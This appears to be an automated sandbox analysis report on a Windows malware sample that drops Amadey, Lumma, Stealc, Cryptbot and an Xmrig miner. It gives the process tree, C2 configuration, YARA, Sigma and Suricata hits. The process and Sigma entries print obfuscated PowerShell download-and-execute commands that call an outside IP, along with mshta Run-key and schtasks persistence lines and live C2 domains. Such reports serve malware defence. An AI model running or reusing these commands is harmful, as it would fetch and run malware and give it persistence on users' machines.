Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1576231
MD5:	657b1d5bada53a94c7eb16a8f6780aef
SHA1:	3f913ed5ca66f8d29d2ea004792ba71fd3b157bc
SHA256:	091bc5705ea1f8127db8f1d53c883ba04b79afb04bece4f90c73d1311c546ade
Tags:	Amadeyexeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Xmrig cryptocurrency miner

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Creates multiple autostart registry keys

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses cmd line tools excessively to alter registry or file data

Uses ipconfig to lookup or modify the Windows network settings

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4788 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 657B1D5BADA53A94C7EB16A8F6780AEF)

skotes.exe (PID: 6260 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 657B1D5BADA53A94C7EB16A8F6780AEF)

skotes.exe (PID: 5240 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 657B1D5BADA53A94C7EB16A8F6780AEF)

skotes.exe (PID: 6264 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 657B1D5BADA53A94C7EB16A8F6780AEF)

5b6b36c534.exe (PID: 7044 cmdline: "C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe" MD5: C34B70C2D71B9CB23895C7008D2AF3CB)

06c6a4fd29.exe (PID: 4352 cmdline: "C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 3020 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 5736 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 6080 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4840 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4780 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6964 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7064 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 520 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6340 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5976 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 6696 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 3164 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 6792 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 4256 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5408 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6480 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4024 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

47760e826c.exe (PID: 6816 cmdline: "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 6708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

47760e826c.exe (PID: 6608 cmdline: "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

8cb1e32b25.exe (PID: 6372 cmdline: "C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe" MD5: DAD92292227E72A4A6D88BB64A5530AB)

powershell.exe (PID: 3436 cmdline: "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')|I`E`X" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 1612 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)

RegSvcs.exe (PID: 2508 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

WerFault.exe (PID: 5988 cmdline: C:\Windows\system32\WerFault.exe -u -p 6372 -s 916 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

powershell.exe (PID: 6380 cmdline: "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')|I`E`X" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 4156 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)

93121e2127.exe (PID: 3832 cmdline: "C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe" MD5: 05AB70A5F1FE4D80A81DAC0F7DAA1EE9)

Intel_PTT_EK_Recertification.exe (PID: 5040 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 6932 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 6920 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4612 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["covery-mover.biz", "print-vexer.biz", "drive-connect.cyou", "formy-spill.biz", "dare-curbys.biz", "zinc-sneark.biz", "dwell-exclaim.biz", "se-blurry.biz", "impend-differ.biz"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1487650364.0000000005360000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1515970750.0000000005310000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.1900446537.00000000046B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000024.00000002.2299813982.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000024.00000002.2298187569.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000003.00000003.1517264971.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.2298187569.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5040	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 6932	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 8cb1e32b25.exe PID: 6372	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3436	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegSvcs.exe PID: 2508	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6380	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
51.2.powershell.exe.28b920b1198.2.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
51.2.powershell.exe.28b920b1198.2.raw.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
36.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
36.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 9 entries

Other

Source	Rule	Description	Author	Strings
amsi64_3436.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_6380.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6264, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\93121e2127.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6264, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\93121e2127.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3164, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 5408, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: mshta vbscript:close(CreateObject("WScript.Shell").Run("powershell $L='(New-Object Net.We';$Y='bClient).Downlo';$V='adString(''http://185.11.61.104/A.png'')';$F=I`E`X ($L,$Y,$V -Join '')|I`E`X",0)), EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 2508, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\(Default)

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3164, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 6480, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:45.925917+0100	2028371	3	Unknown Traffic	192.168.2.8	49744	104.121.10.34	443	TCP
2024-12-16T17:02:53.303796+0100	2028371	3	Unknown Traffic	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:02:55.772753+0100	2028371	3	Unknown Traffic	192.168.2.8	49780	172.67.164.37	443	TCP
2024-12-16T17:03:08.055232+0100	2028371	3	Unknown Traffic	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:12.215025+0100	2028371	3	Unknown Traffic	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:20.505465+0100	2028371	3	Unknown Traffic	192.168.2.8	49888	172.67.164.37	443	TCP
2024-12-16T17:03:25.752556+0100	2028371	3	Unknown Traffic	192.168.2.8	49919	172.67.164.37	443	TCP
2024-12-16T17:03:28.842841+0100	2028371	3	Unknown Traffic	192.168.2.8	49926	172.67.164.37	443	TCP
